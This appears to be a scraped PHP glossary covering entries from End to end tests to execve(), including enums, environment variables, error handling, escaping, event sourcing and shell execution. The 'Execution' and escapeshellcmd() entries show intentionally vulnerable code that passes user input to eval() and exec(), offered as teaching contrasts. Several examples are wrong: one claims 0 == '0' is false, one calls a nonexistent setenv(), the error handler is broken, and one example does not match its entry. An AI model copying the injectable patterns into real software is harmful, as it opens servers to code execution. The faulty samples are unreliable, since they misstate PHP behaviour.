End to end tests are integration tests that cover the entire application, so it checks that it works correctly from the user’s perspective. End to end testing is simulating real user interactions through the actual UI, hitting real servers and databases.
End to end tests are critical to ensure a smooth experience for the user. They also require a duplication of the server environment, and they include the user’s scope, that may have high variability. E2E tests should be covering the most critical paths, not hundreds, as they’re slow and fragile.
See Also
Related
PHP Engine
The PHP engine, often referred to as the PHP interpreter, is the core component of the PHP programming language. It is responsible for translating and executing PHP code on a web server or other environments that support PHP. The engine takes the human-readable PHP code and converts it into machine-level instructions that the computer can understand and execute.
It is also called the php binary, or the PHP executable, although these names refer to the engine while its running, in a production or operating system environment.
The PHP engine is sometimes considered as a virtual machine.
See Also
Related
- PHP RFC
- User Operations For Zend (UOPZ)
- Zend Engine
- Virtual Machine (VM)
- __halt_compiler()
- Core
- Opcode
- PHP Extensions
- Segmentation Fault
- Virtual Machine (VM)
- Assertions
- Dynamic Loading
- Extensions
- Fibers
- Garbage Collection
- PHP Handlers
- Just In Time (JIT)
- Output Buffering
Entities
Entities are different things:
- A type of data, which has an identity, independent from the properties
- A way to unambiguously represent characters in HTML, using a sequence of characters.
See Also
Related
Enumeration Case
An Enumeration may have zero or more case definitions, with no maximum. A zero-case enum is syntactically valid, if rather useless.
Cases must have distinct names. Also, these names must be distinct with the constant names, since the syntax to reach them is the same.
Enumeration cases must be distinct: this is enforced by the engine with the unit enumerations, but not with the backed enumeration. It is possible to give identical values to the cases, and this yields an error as soon as the enumeration is loaded by PHP.
<?php
enum Suit
{
case Hearts;
case Diamonds;
case Clubs;
case Spades;
}
enum DayOfTheWeek: int
{
case Monday = 1;
case Tuesday = 2;
case Wednesday = 3;
case Thursday = 4;
case Friday = 4; // This is an error, that lints but won't execute
case Saturday = 6;
case Sunday = 7;
const string MONDAY = 'monday'; // constant MUST have distinct names from other constants and cases.
// names are case sensitive, so this one is valid.
}
?>
See Also
Related
Enumeration (enum)
Enumerations are a restricting layer on top of classes and class constants, intended to provide a way to define a closed set of possible values for a type.
<?php
enum Suit
{
case Hearts;
case Diamonds;
case Clubs;
case Spades;
}
?>
See Also
- Enumerations in PHP
- 5 Pitfalls of Upgrade to Native PHP Enums and How to Avoid Them
- On the use of enums
- Enum in PHP — Real life examples
- PHP Enums: A Complete Guide with Real Examples
Related
- Enumeration Case
- Collection
- Class Interface Trait Enumeration (CITE)
- Class
- Backed Enum
- BackedEnum
- Case
- http_build_query()
- Unbacked Enum
- UnitEnum
- Dynamic Class Constant
- Algebraic Data Type
- Compile-time Evaluation
- Sealed Class
- Sum Type
- Conditioned Structures
- Exhaustiveness
- Idiomatic
- Properties
- Result Type
Related packages
.env File
Environment files, also called dotenv files, are a way to store and access environment variables, and store them in a file, not in the OS environment.
The env file holds a set of environment variables and their values. It is loaded instead of the actual operating system value. That way, there may be several sets of values for the variables, each of them stored in a distinct file, and accessed via the file name.
See Also
Related
Related packages
Environment Variables
Environment variables are a way to store and access configuration information or settings related to the runtime environment in which a PHP script is executed. These variables are part of the operating system’s environment and can be used to retrieve information about the server, the operating system, or custom configuration parameters that are set for a particular application. PHP provides a way to access these variables through the $_ENV superglobal array.
The environment variables are set in the operating system before the execution of the script, using commands such as export, setenv, or else, depending on the OS. They may also be provided at the start of containerized images.
<?php
// print all available environment variables at the start of the script
// it may be empty
print_r($_ENV);
// retrieve an environment variable
var_dump(getenv('MY_VARIABLE'));
// sets an environment variable
var_dump(setenv('MY_VARIABLE', 2));
?>
See Also
Related
Environment
Environment variables are a way to store and access configuration information or settings related to the runtime environment in which a PHP script is executed. These variables are part of the operating system’s environment and can be used to retrieve information about the server, the operating system, or custom configuration parameters that are set for a particular application. PHP provides a way to access these variables through the $_ENV superglobal array.
The environment variables are set in the operating system before the execution of the script, using commands such as export, setenv, or else, depending on the OS. They may also be provided at the start of containerized images.
<?php
// print all available environment variables at the start of the script
// it may be empty
print_r($_ENV);
// retrieve an environment variable
var_dump(getenv('MY_VARIABLE'));
// sets an environment variable
var_dump(setenv('MY_VARIABLE', 2));
?>
See Also
Related
Eponymous
Eponymous means that it carries the same name. For example, a variable called $variable, or a constant called CONSTANT.
PHP does not allow every structure to be eponymous. It is not possible to call a class class, but one may call a class anonymous: this won’t be eponymous, as an anonymous class doesn’t have a name.
<?php
const CONSTANT = 'literal';
$variable = CONSTANT;
?>
See Also
Related
Equal Operator
Equal, or equality, sometimes called double equal for the == operator, is the state of two variables, which contains the same data, after an optional cast to a common type. It is the same as identical, with possible silent type-juggling.
The equal operators are ==, !=, <>, and <=>. The switch() command also uses equal comparisons.
<?php
var_dump(0 == '0000'); // true
var_dump(0 == '0'); // false
var_dump(0 == 0); // true
?>
See Also
Related
Error Handler
The PHP error handler is a method that manages errors when they arise, instead of the default PHP handler.
The error handler is set with the set_error_handler() function.
The error handler is convenient to translate errors, handle custom levels of errors, or convert errors to exceptions.
There is a separate exception handler.
<?php
set_error_handler('customErrorHandler');
function customErrorHandler($errno, $errstr, $errfile, $errline, array $errcontext)
{
// Handles @ error suppression
if (error_reporting === 0)
{
return false;
}
throw new Exception($errstr, 0, $errno, $errfile, $errline);
}
?>
See Also
Related
Error Handling
Error handling is a broad concept that covers the different ways that PHP uses to signal that an error occurred.
The main systems are the error reporting, and the exceptions.
The error reporting is often associated with native errors, although it is possible to raise them and handle them with error-handlers.
The exception system is based on the throw, try and catch keywords.
<?php
trigger_error('Cannot do this', E_USER_ERROR);
try {
throw new Exception('Cannot do this');
} catch (Exception $e) {
print $e->getMessage();
}
?>
See Also
Related
Error Reporting
Error reporting is a feature, a directive and a PHP native function. They all work with the same concept.
Error reporting is the way PHP displays errors as they are detected during execution. The error_reporting() function and the error_reporting directive set the type of error to be reported: errors are of different types.
While error reporting sets the type of reported error, the display of error is handled by different directives: display_errors and html_errors.
Exceptions are not covered by the error reporting, even though one of the exceptions is called Error.
Error reporting may be further configured with an error handler function.
Error may be triggered manually with the trigger_error() function.
See Also
Related
- Error Handler
- @, No Scream Operator
- html_errors
- display_errors
- E
- Notice
- trigger_error()
- Warning
- Error Suppression
Error Suppression
Error suppression is achieved with the @ operator placed before an expression. It silences any error, warning, or notice that expression might produce.
Using @ is widely considered bad practice: it hides bugs, degrades performance, and makes debugging harder. Better alternatives include proper validation, try/catch blocks, or a custom error handler.
The scream extension and scream.enabled ini directive can disable the @ operator entirely.
<?php
// Bad practice: silences errors
$result = @file_get_contents('missing.txt');
// Better: check first
if (file_exists('missing.txt')) {
$result = file_get_contents('missing.txt');
}
?>
See Also
Related
Error
The Error class is a base class for all internal PHP error exceptions. It represents an error that occurs during the execution of PHP code. The Error class extends the built-in Throwable interface, making it possible to catch and handle these error exceptions using try-catch blocks.
The Error class has several child classes that represent specific types of errors. Some common child classes include:
- ParseError: represents a syntax error that occurs during parsing of PHP code
- TypeError: represents a type-related error, such as passing an incorrect argument type to a function or method
- DivisionByZeroError: represents an error that occurs when dividing a number by zero
- OutOfMemoryError: represents an error that occurs when the PHP process runs out of memory
See the example that demonstrates catching and handling a ParseError below. In the example, the eval() function is used to evaluate a string of PHP code. However, the code contains a syntax error with a missing semicolon. This results in a ParseError being thrown. We use a try-catch block to catch the ParseError exception, and then display the error message using the getMessage() method.
It’s important to note that these errors are only thrown by internal PHP errors. User-generated errors, e.g., triggered using the trigger_error() function, are not instances of the Error class. Instead, they are represented by the ErrorException class, which extends Exception.
<?php
try {
eval('echo Hello, World!'); // Missing semicolon generates a ParseError
} catch (ParseError $e) {
echo 'Caught ParseError: ' . $e->getMessage();
}
?>
See Also
Related
- Exception
- throw
- Try-catch
- ParseError
- TypeError
- DivisionByZeroError
- Throwable
- Traversable
- UnhandledMatchError
- Downtime
- Fatal Error
- Notice
- ValueError
- Warning
- Error Suppression
- html_errors
- Lint, Won’t Execute
- Troubleshoot
Error_log()
error_log() sends an error message to a logging destination: the web server log, a file, or a remote address, depending on the $message_type argument and the error_log PHP configuration directive.
With no $message_type, or $message_type = 0, the message goes to whatever destination is set by the error_log directive. $message_type = 3 appends the message to the file given as the $destination argument, while $message_type = 1 emails the message, and $message_type = 4 sends it directly to the SAPI logging handler, bypassing the error_log directive.
error_log() returns true on success, and does not throw. Because its actual destination depends on runtime configuration, code that relies on error_log() for anything beyond ad-hoc debugging is usually better served by a dedicated, configurable logger, such as one implementing the PSR-3 LoggerInterface.
<?php
error_log('Something went wrong while processing the order');
// append to a specific file, bypassing the error_log directive
error_log('Payment failed for order #42', 3, '/var/log/payments.log');
?>
See Also
Related
Error Reporting
Error reporting is the process to report any issue while executing the code. It is also the name of the eponymous function error_reporting() and also a php.ini directive: error_reporting. They all control the way errors are handled.
Error reporting is set by calling the error_reporting() function, with a combination of constants: E_ERROR, E_WARNING, E_PARSE, E_NOTICE, E_CORE_ERROR, E_CORE_WARNING, E_COMPILE_ERROR, E_COMPILE_WARNING, E_USER_ERROR, E_USER_WARNING, E_USER_NOTICE, E_STRICT, E_RECOVERABLE_ERROR, E_DEPRECATED, E_USER_DEPRECATED, E_ALL. They are combined as a bitfield, or may be replaced by their integer counterpart. One special value is -1, which is the universal error reporting: it activates all types of errors, past present and future.
error_reporting, the directive, is set in the php.ini file. It doesn’t support the bitfield, so it must be set as an integer.
<?php
// Turn off all error reporting
error_reporting(0);
// Report simple running errors
error_reporting(E_ERROR | E_WARNING | E_PARSE);
// Reporting E_NOTICE can be good too (to report uninitialized
// variables or catch variable name misspellings ...)
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
// Report all errors except E_NOTICE
error_reporting(E_ALL & ~E_NOTICE);
?>
See Also
- How to Enable PHP Error Reporting
- error_reporting, the directive
- How to Display All PHP Errors: A Detailed Guide
Related
Related packages
Escape Character
Escape characters are special characters, that introduce a special meaning, for example when redacting an escape sequence.
Escape characters are often generating a special sequence to escape themselves and allow their literal meaning to be expressed.
In strings and HEREDOC, the escape character is the backslash: \.
<?php
echo '<a href="https://www.exakat.io/" />';
// This prevents the variable $trunk to be interpolated
echo <<<HEREDOC
echo $trunk;
HEREDOC;
?>
See Also
Related
- Heredocs
- Injection
- Regular Expression
- Security
- Structured Query Language (SQL)
- String
- Cross Site Scripting (XSS)
- Backslash \
- Escape Data
- Slash /
Escape Data
Escaping data is a method to write data in a neutral syntax for a target technology.
For example, angular brackets and quotes are special characters for HTML: to display them without their actual HTML meaning, they have to be escaped as HTML entities, such as "e or >.
Escaping applies to technologies which mix raw strings and executable expression: SQL, CSV, HTML, LDAP, etc.
Escaping data replace some symbols with a longer sequence of symbols. The escaping is made with a special character, which must itself be escaped. For example, CSV escapes anti-slash with a double anti-slash.
PHP supports escape sequences for characters in a string. This is the same concept of escaping data: there, the target includes portability.
See Also
Related
- HTML Escaping
- Escape Sequences
- Escape Character
- CSV Injection
- CRLF Injection
- escapeshellarg()
- escapeshellcmd()
- LDAP Injection
HTML Escaping
HTML escaping, or HTML escape, also known as HTML encoding or character escaping, is a technique used to convert special characters in HTML markup into their corresponding HTML entities. This is done to prevent these characters from being interpreted as HTML code by the browser, which could potentially lead to security vulnerabilities or incorrect rendering of the webpage.
For example, the less-than sign < is represented as < and the greater-than sign > is represented as >. Similarly, characters such as ampersand & and double quotation marks " have their own HTML entities, resp. & and "e;.
HTML escaping is commonly used when displaying user-generated content on a webpage, such as comments or forum posts, to ensure that any HTML code contained within the content does not interfere with the structure of the page or execute malicious scripts. It helps maintain the integrity and security of the webpage.
<?php
$str = "A 'quote' is <b>bold</b>";
// Outputs: A 'quote' is <b>bold</b>
echo htmlentities($str);
// Outputs: A 'quote' is <b>bold</b>
echo htmlentities($str, ENT_QUOTES);
?>
See Also
Related
Escape Sequences
Escape sequences, also called string sequences when found inside string literals, are sequences of characters with a special meaning. Most of the time, the literal value of the character displayed is its meaning, while, sometimes, there are other hidden meanings.
Escape sequences are dedicated to a technology, and they are rarely the same between two technologies, or even, between two engines dedicated to that technology.
Here are some examples of escape sequences from PHP:
\n: new line\t: horizontal tabulation"\"": double quote, inside a double quoted-string\'This is not an escape sequence: single-quoted strings do not recognize this\u{01f418}: a unicode codepoint, representing an elephpant\200: a character in octal notation\x69: a character in hexadecimal notation
Here are some examples of escape sequences from HTML:
- ´, an acute accent
- ", double quote
- There are many more of them. See external links.
Escape sequences should not be confused with escape characters, though they are related: some escape sequences are introduced by an escape character. Others rely on a format.
<?php
// \1 is an escape sequence that represents the first capturing parenthsis.
// It is a special meaning for REGEX.
preg_match('/(.)\1/', $string);
// Displays AA
echo "A\101";
?>
See Also
Related
escapeshellarg()
escapeshellarg() is a PHP function that wraps a string in single quotes and escapes any existing single quotes within it, making the string safe to pass as a single argument to a shell command.
It is used together with exec(), system(), passthru(), or shell_exec() when the argument is derived from user input or any untrusted source.
On Windows, escapeshellarg() uses double quotes and escapes double quotes, percent signs, and exclamation marks instead.
Note that escapeshellarg() escapes a single argument only. When the full command string needs to be sanitised, escapeshellcmd() should be used, though combining both functions correctly is preferred.
<?php
$filename = $_GET['file'] ?? '';
$safe = escapeshellarg($filename);
// Safe: $safe is a quoted, escaped argument
exec('convert ' . $safe . ' output.png', $output, $exitCode);
?>
See Also
Related
escapeshellcmd()
escapeshellcmd() is a native function that escapes shell metacharacters in a full command string, preventing shell interpretation of characters such as &, ;, |, (, ), [, ], {, }, $, \`, \, ", ', and whitespace sequences that could alter the intended command.
Unlike escapeshellarg(), which wraps a single argument in quotes, escapeshellcmd() is applied to the entire command string and escapes individual special characters with a backslash. It is suitable when the command itself is dynamic, not just its arguments.
Important caveats:
escapeshellcmd()does not make arbitrary shell strings safe. It is designed for use withexec(),system(),passthru(), andshell_exec(), but cannot protect against every shell injection vector. Preferescapeshellarg()on each argument individually, as this is generally more reliable.- On Windows,
escapeshellcmd()has different behaviour: it escapes a different set of special characters. Code relying on it must be tested on the target platform. - The safest approach to shell execution is to avoid building a command string at all. Use
proc_open()with an array argument form, where available via wrapper libraries, or pass arguments as an explicit array, which bypasses the shell entirely.
<?php
$userInput = $_GET['path'] ?? '';
// Escapes metacharacters in the whole command string
$cmd = escapeshellcmd('ls -la ' . $userInput);
exec($cmd, $output);
// Preferred: escape each argument individually with escapeshellarg()
$safeInput = escapeshellarg($userInput);
exec('ls -la ' . $safeInput, $output);
// Safest: avoid shell entirely with proc_open + array (Symfony Process component)
// $process = new \Symfony\Component\Process\Process(['ls', '-la', $userInput]);
// $process->run();
?>
See Also
Related
Related packages
Extract, Transform, Load (ETL)
ETL, for Extract, Transform, Load, is a three-stage process used to move data from one or more source systems into a target system. Extract reads data from the source, for example a legacy database, a CSV export, or an API; transform converts, cleans, and reshapes that data to match the target’s schema and rules, such as mapping locale codes or resolving foreign keys; load writes the transformed data into the destination.
ETL is the backbone of data migrations, data warehousing, and platform-to-platform migrations, such as moving a store from one e-commerce platform to another. The transform stage is where most silent bugs live: a lookup that returns null instead of raising an error on an unmapped value, a string replacement that only handles the common case, or a locale code that does not match any entry in a mapping table, will quietly drop or nullify data instead of failing the migration.
A variant, ELT, for Extract, Load, Transform, loads raw data first and transforms it inside the target system, often using its own query engine. ETL steps are commonly implemented as CLI scripts or queued jobs, reading from one data source and writing through an ORM, or direct SQL, into another, with row counts and conversion rates tracked to detect when a stage silently drops far more rows than expected.
<?php
// A minimal ETL step: extract, transform, load
foreach ($source->fetchProducts() as $row) { // extract
$locale = $localeMap[$row['locale_code']] ?? null; // transform
if ($locale === null) {
$errors[] = $row['locale_code']; // don't fail silently
continue;
}
$target->insertProduct($row, $locale); // load
}
?>
See Also
Related
Related packages
Eval()
The eval() function executes a string as a PHP code.
eval() has been used originally to obtain features that PHP did not offer. Nowadays, those features are rare enough that it is recommended to find a safe alternative, before using on it.
When used, it is recommended to enclose eval() in a try-catch block, to catch syntax error.
<?php
$name = 'v';
$value = 'vvvv';
// Set a variable with a dynamic name
eval('$'.$name.' = '.$value);
// equivalent to $$name = $value;
?>
See Also
Related
- ParseError
- Try-catch
- Code Injection
- Execution
- Capture The Flag (CTF)
- Homoiconicity
- Hygienic Macro
- Macro
- Metaprogramming
Event Driven
Event-driven programming is a programming paradigm that focuses on the flow of a program’s execution being determined by events or actions that occur, rather than following a strictly sequential, procedural path. In event-driven programming, the program responds to events generated by external factors, such as user interactions, sensor inputs, or messages from other software components. Events can trigger specific functions or pieces of code to execute in response.
See Also
Related
- Event Loop
- Listener
- Message Bus
- Polling
- Pub/Sub
- Event Storming
- Change Data Capture
- Compensation Logic
- Edge Triggered
- Event Streaming
- Function-as-a-Service (FaaS)
- Shared Database
- Webhook
- Hook
- RdKafka
- ReactPHP
- Streaming Database
Related packages
Event Loop
An event loop is a mechanism for handling asynchronous operations and event-driven programming. While PHP traditionally follows a synchronous execution model where each operation blocks the execution until it completes, the introduction of event loops enables non-blocking I/O operations and improves concurrency.
PHP event loops are often implemented using extensions like ReactPHP or Amp.
<?php
// Code from revolt's event loop
// https://revolt.run/fundamentals
require __DIR__ . '/vendor/autoload.php';
use Revolt\EventLoop;
$suspension = EventLoop::getSuspension();
$repeatId = EventLoop::repeat(1, function (): void {
print '++ Executing callback created by EventLoop::repeat()' . PHP_EOL;
});
EventLoop::delay(5, function () use ($suspension, $repeatId): void {
print '++ Executing callback created by EventLoop::delay()' . PHP_EOL;
EventLoop::cancel($repeatId);
$suspension->resume(null);
print '++ Suspension::resume() is async!' . PHP_EOL;
});
print '++ Suspending to event loop...' . PHP_EOL;
$suspension->suspend();
print '++ Script end' . PHP_EOL;
Related
- Event Driven
- Blocking Wait
- C10K
- Asynchronous Markup Protocol (AMP)
- ReactPHP
- Edge Triggered
- Fire-and-forget
- Non-blocking
- One-shot
Related packages
Event Replay
Event replay, also called event-sourcing replay, is the process of re-reading stored events from an event store to reconstruct the state of an aggregate, rebuild a projection, or bootstrap a new view of the data.
In event sourcing, the current state of any aggregate is not stored directly: it is always derived by loading the aggregate’s event stream and applying each event in order. This is event replay at the aggregate level. For a simple entity, replaying tens or hundreds of events takes microseconds; for aggregates with thousands of events, snapshots are used to avoid replaying the entire history on every load.
Replay is also used at the projection level: a read model can be dropped and rebuilt entirely from the event store by replaying all events through the projection’s handlers. This is invaluable for fixing bugs in projections, adding new read models, and migrating to a new schema.
Temporal replay enables querying the state of the system at any point in the past by replaying events up to a given timestamp.
<?php
// Reconstruct aggregate state by replaying its event stream
class Order {
private string $status = 'new';
private float $total = 0.0;
public static function reconstitute(array $events): self {
$order = new self();
foreach ($events as $event) {
$order->apply($event);
}
return $order;
}
private function apply(object $event): void {
match (true) {
$event instanceof OrderPlaced => $this->total = $event->total,
$event instanceof OrderShipped => $this->status = 'shipped',
$event instanceof OrderCancelled => $this->status = 'cancelled',
default => null,
};
}
}
// Rebuild a projection from the event store
class RebuildOrderSummaryProjection {
public function run(EventStore $store): void {
$this->db->exec('TRUNCATE order_summaries');
foreach ($store->loadAll('orders') as $event) {
$this->project($event);
}
}
}
?>
See Also
Related
Event Sourcing
Event Sourcing is a pattern where instead of storing the current state of an entity, the sequence of events that led to that state is stored. The current state is derived by replaying those events.
Event sourcing provides a full audit trail. It never loses history. Every change is recorded with a timestamp and context, which is invaluable for debugging, compliance, and support.
Event sourcing allows for time travel. It is possible to reconstruct the state of any entity at any point in the past by replaying events up to a given timestamp.
Event sourcing emphasize on decoupled side effects. Different parts of the system can react to events asynchronously, such as sending emails, updating read models, triggering workflows. All that without coupling them to the write logic.
Event sourcing pairs naturally with CQRS. The event stream is the write side; it relies on optimized read models, also called projections, and processes those events separately.
See Also
Related
- Event Storming
- Audit Trail
- Command Query Responsibility Segregation (CQRS)
- Side Effect
- Time Travel
- Message Bus
- Snapshot
- Change Data Capture
- Compensation Logic
- Distributed Transactions
- Event Replay
- Event Store
- Event Streaming
- Eventual Consistency
- Replay
- Rich Domain Model
Related packages
Event Store
An event store, also called an event log, is an append-only database that stores domain events as the primary source of truth. Instead of persisting the current state of an entity, as a traditional relational database does, the event store records every state-changing event in the order it occurred. The current state is derived by replaying all events for a given aggregate.
Event stores have three fundamental properties: events are immutable, as in never updated or deleted, ordered, as in within an aggregate stream, and complete , as in no information is lost. This makes them naturally auditable, debuggable, and replayable.
An event store differs from a general-purpose message queue: it is designed for long-term persistence and random-access replay, not just for transient message delivery. EventStoreDB is a purpose-built event store. Kafka is also used as an event store when configured with long retention periods.
In event-sourcing implementations, the event store is typically an abstraction over a PostgreSQL table, with JSON event payloads, Kafka, or EventStoreDB. Libraries such as Prooph or Broadway provide event store interfaces.
<?php
// Simple append-only event store backed by PostgreSQL
class PostgresEventStore {
public function append(string $streamId, array $events, int $expectedVersion): void {
$this->pdo->beginTransaction();
foreach ($events as $i => $event) {
$stmt = $this->pdo->prepare(
'INSERT INTO events (stream_id, version, event_type, payload, occurred_at)
VALUES (:stream, :version, :type, :payload, NOW())'
);
$stmt->execute([
'stream' => $streamId,
'version' => $expectedVersion + $i + 1,
'type' => get_class($event),
'payload' => json_encode($event),
]);
}
$this->pdo->commit();
}
public function load(string $streamId, int $fromVersion = 0): array {
$stmt = $this->pdo->prepare(
'SELECT * FROM events WHERE stream_id = ? AND version > ? ORDER BY version'
);
$stmt->execute([$streamId, $fromVersion]);
return $stmt->fetchAll();
}
}
?>
Related
Related packages
Event Storming
Event storming is a workshop, aiming at discovering the domain for an application. It describes the business process with stickers of various colors, posted on a wide wall, by involving experts to share their knowledge.
See Also
Related
- Command Query Responsibility Segregation (CQRS)
- Domain Design Driven (DDD)
- Event Driven
- Event Sourcing
Event Streaming
Event streaming, also called stream processing, is a pattern where events are continuously published to an ordered, durable log, called a stream, and consumers read from that log at their own pace, independently of producers. Unlike message queues, where a message is consumed once and deleted, a stream is retained and can be replayed, and multiple consumer groups can read the same events independently.
The key properties of event streaming are: persistence where events are stored durably, ordering where events within a partition are ordered, and replayability where consumers can reset their offset and re-read events from the beginning or any point in time. These properties make event streaming suitable for event sourcing, real-time analytics, change data capture, and building multiple independent views from the same event log.
Apache Kafka is the most widely used event streaming platform. AWS Kinesis and Google Cloud Pub/Sub provide managed alternatives. Producers publish events via the rdkafka extension or high-level libraries; consumers run as long-lived workers using RoadRunner, Swoole, or ReactPHP.
<?php
// Producer: publish an event to a Kafka topic
$conf = new RdKafka\Conf();
$conf->set('metadata.broker.list', 'kafka:9092');
$producer = new RdKafka\Producer($conf);
$topic = $producer->newTopic('orders');
$topic->produce(RD_KAFKA_PARTITION_UA, 0, json_encode([
'event' => 'OrderPlaced',
'orderId' => 42,
'total' => 9900,
'timestamp' => time(),
]));
$producer->flush(1000);
// Consumer: read events independently, at own pace
$conf->set('group.id', 'inventory-service');
$conf->set('auto.offset.reset', 'earliest'); // replay from beginning if needed
$consumer = new RdKafka\KafkaConsumer($conf);
$consumer->subscribe(['orders']);
while (true) {
$message = $consumer->consume(1000);
if ($message->err === RD_KAFKA_RESP_ERR_NO_ERROR) {
$event = json_decode($message->payload, true);
// process independently from the producer
}
}
?>
See Also
Related
Eventual Consistency
Eventual consistency is a data consistency model used in distributed systems where replicas of the same data are allowed to diverge temporarily, but are guaranteed to converge to the same value if no new updates are made.
It is a weaker guarantee than strong consistency, where all nodes see the same data at the same time, or ACID transactions, which guarantee immediate, atomic consistency. Eventual consistency trades immediate correctness for higher availability and partition tolerance: the AP side of the CAP theorem.
In practice, eventual consistency means a write to one node may not be immediately visible on another. A user updating their profile may see the old value for a few hundred milliseconds while the change propagates to read replicas.
In applications, eventual consistency arises when using: read replicas which write to primary and read from replica, caches which serve stale data after a write, event sourcing where projections lag behind the event store, or microservices communicating via events rather than synchronous API calls.
<?php
// Common PHP scenario: write to primary, read from read replica
// The replica may lag by milliseconds — eventual consistency
$primary = new PDO($primaryDsn);
$replica = new PDO($replicaDsn);
$primary->exec('UPDATE users SET name = \'Alice\' WHERE id = 1');
// Reading immediately from the replica may return the old name
$row = $replica->query('SELECT name FROM users WHERE id = 1')->fetch();
// $row['name'] could still be 'Bob' for a brief window
// Mitigation: read-your-own-writes — read from primary just after a write
// or use a sticky session to route reads to the same node for a period
?>
See Also
Related
Chaining Exceptions
Exception chaining, also called chaining exception, is the act of re-throwing a caught exception, with a new type, and with a reference to the previous exception.
To provide the previous exception to a new exception, use the third parameter of the Exception constructor. Also, always provide a third argument to custom exceptions.
The previous exception is available with the Exception::getPrevious() method of the Exception class.
<?php
class myException extends \Exception {
function __construct(string $message, $code, \Throwable $exception) {
parent::__construct($message, $code, $exception);
}
}
try {
doSomething();
} catch(\Exception $e) {
// chaining exception
throw new myException('doSomething failed', 0, $e);
}
?>
See Also
Related
Exception Handler
The exception handler is a default or custom function, which is called once an exception has exhausted all available try-catch blocks.
The execution stops once the handler has been called: as such, it is possible to log or display information related to debugging.
The exception handler is different from the try/catch block: the latter allows the execution to carry on, when the exception is processed.
<?php
function exception_handler(Throwable $exception) {
echo "Uncaught exception: " , $exception->getMessage(), "\n";
}
set_exception_handler('exception_handler');
throw new Exception('Uncaught Exception');
echo "Not Executed\n";
?>
See Also
Related
Exception
Exceptions are a mechanism for handling errors and exceptional situations in a more structured and controlled way compared to traditional error handling methods like using error codes or die() statements. Exceptions provide a way to separate the normal flow of code from error-handling code, making it easier to manage errors and maintain clean and readable code.
Exceptions are thrown at the point of detection of the issue, and processed somewhere else in the code, when they are caught by a try-catch statement. Ultimately, exceptions block the execution of the application when they are not caught.
<?php
class Elephpant {
final const HABITAT = 1;
final function method() { }
}
?>
See Also
- Modern Error handling in PHP
- PHP try & catch: what are exceptions and how to handle them?
- Mastering Exception Handling in PHP: Ensuring Code Resilience
- A guide to exception handling in PHP
- Exception Handling
Related
- throw
- Try-catch
- RangeException
- Anonymous Catch
- BadFunctioncallException
- Chaining
- DomainException
- Error Handling
- Error
- Chaining Exceptions
- ImagickException
- LengthException
- PharException
- PHP Predefined Exception
- SVMException
- Throwable
- Traversable
- Type Error
- UnexpectedValueException
- UnhandledMatchError
- OutOfRangeException
- OverflowException
- set_error_handler()
- ValueError
- Fatal Error
- PDOException
- Resource Leak
- Transaction
- ImagickPixelException
- Troubleshoot
- Continuation
- Defer Statement
- Effect System
- Result Type
Excimer
Excimer is a low-overhead sampling profiler for PHP, developed by the Wikimedia Foundation. Unlike deterministic profilers such as Xdebug, which instrument every function call, Excimer periodically samples the call stack at a fixed interval, using a timer signal, which keeps overhead low enough to run in production.
Excimer can sample on wall-clock time or CPU time, which makes it useful for diagnosing both I/O-bound slowness, such as waiting on a database or a remote API, and CPU-bound slowness, such as heavy computation. Samples are collected into a log that can be aggregated into a flame graph or exported for further analysis.
Because sampling is cheap, Excimer is commonly left enabled at low sampling rates in production to catch real-world performance regressions that only appear under production load and traffic patterns, which synthetic benchmarks miss.
<?php
// Sample the call stack every 100ms of wall-clock time.
$profiler = new ExcimerProfiler();
$profiler->setPeriod(0.1);
$profiler->setEventType(EXCIMER_REAL);
$profiler->start();
// ... application code runs here ...
$profiler->stop();
$log = $profiler->getLog();
foreach ($log as $event) {
foreach ($event->getTrace() as $frame) {
echo $frame['function'] . PHP_EOL;
}
}
?>
See Also
Related
exec
exec() is used to execute a command with the underlying operating system. It is the equivalent of shell_exec() and back-ticks.
exec() has specific arguments to collect both the result of the command, one line per element in an array, and the resulting code. This differs from shell_exec(), which only returns the result, and as a string.
<?php
$dir = exec('ls', $result);
print_r($result);
?>
See Also
Related
- shell_exec()
- Back-tick
- Execution
- Shell Exec
- System Call
- escapeshellarg()
- escapeshellcmd()
- execve()
- Shell Injection
Execution Path
The execution path refers to the sequence in which the PHP interpreter processes and executes the code. By default, expressions are executed one after the other, and the execution path has many possible paths:
- Code Entry Point, such as the called file, but also controllers, in mvc frameworks
- Sequential Execution, where expressions are processed one after the other
- Includes and Requires, which stop the execution in the current file and move to another file
- Function and Method Calls, which stop the execution in the current file and move it to another part of the code
- Control Structures, like
goto,foreach,ifthen, which choose a path or another with the current file - Error Handling, with error triggers and exceptions, and unhandled issues
- Exit and Die, or simply the end of the file.
See Also
Related
Execution Time
Execution time is a phase of PHP processing, where the source code is executed. It highly depends on the order of execution of the instructions.
At that time, PHP takes the commands one after the other, and execute them. It allocates memory for data, and definitions.
Execution time is related to compile time. Objects, constants when created with define(), function calls, generators, inclusion, exceptions are execution time elements.
On the other hand, classes, constants when created with const, functions, etc. are created at linting time.
<?php
const HABITAT = 'a';
function trumpet(int $a = HABITAT) {
echo $a;
}
trumpet(1); // 1
trumpet(); // Error
//Uncaught TypeError: trumpet(): Argument #1 ($a) must be of type int, string given,
?>
See Also
Related
Execution
Execution refers to the ability to run code or system commands dynamically at runtime. There is the execution of PHP code, and the execution of external code from within PHP.
Language-level code execution uses eval(), which parses and executes a PHP string as code. System-level execution delegates to the operating system shell via exec(), shell_exec(), system(), passthru(), popen(), or the backtick operator.
The execution of PHP code is based on the PHP engine, though it may also be achieved by other PHP runtimes, or be delegated to other engine via transpiling of the code.
The flow of execution may be hijacked by a code injection, which route the execution to arbitrary code. It is a security vulnerability.
<?php
// DANGEROUS: user-controlled input passed to eval()
$template = $_GET['tpl'];
eval('echo ' . $template . ';'); // RCE risk
// DANGEROUS: user input in a shell command
$file = $_GET['file'];
exec('ls ' . $file); // command injection risk
// SAFER: escape shell arguments
$file = escapeshellarg($_GET['file']);
exec('ls ' . $file);
?>
See Also
Related
- Eval()
- exec
- Shell Exec
- System
- Virtual Machine (VM)
- Code Injection
- Remote Code Execution (RCE)
- Lifecycle
- Order Of Execution
execve()
execve() is the underlying Unix system call that replaces the currently running process’s program, code, data, heap and stack, with a new one. Unlike forking, no new process is created: the process keeps the same PID, but everything it was running is discarded and replaced.
pcntl_exec() is a thin wrapper around execve(). This makes it fundamentally different from exec() or shell_exec(), which spawn a separate child process and return control to the calling PHP script once it finishes. Once pcntl_exec() succeeds, the PHP script that called it stops existing: there is no code left afterwards to return to, unless the call itself fails.
